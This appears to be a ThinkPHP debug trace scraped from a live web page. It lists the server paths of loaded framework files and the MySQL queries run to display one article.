  108. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/runtime/temp/cefbf809ba1a84190cb04b0cb7abcf79.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/c.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000542s ] mysql:host=127.0.0.1;port=3306;dbname=c_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000739s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000459s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.001796s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000663s ]
  6. SELECT * FROM `set` [ RunTime:0.001495s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000650s ]
  8. SELECT * FROM `article` WHERE `id` = 462121 LIMIT 1 [ RunTime:0.006921s ]
  9. UPDATE `article` SET `lasttime` = 1770277844 WHERE `id` = 462121 [ RunTime:0.007240s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.003973s ]
  11. SELECT * FROM `article` WHERE `id` < 462121 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.011956s ]
  12. SELECT * FROM `article` WHERE `id` > 462121 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.006127s ]
  13. SELECT * FROM `article` WHERE `id` < 462121 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.010849s ]
  14. SELECT * FROM `article` WHERE `id` < 462121 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.018458s ]
  15. SELECT * FROM `article` WHERE `id` < 462121 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.004591s ]
0.153051s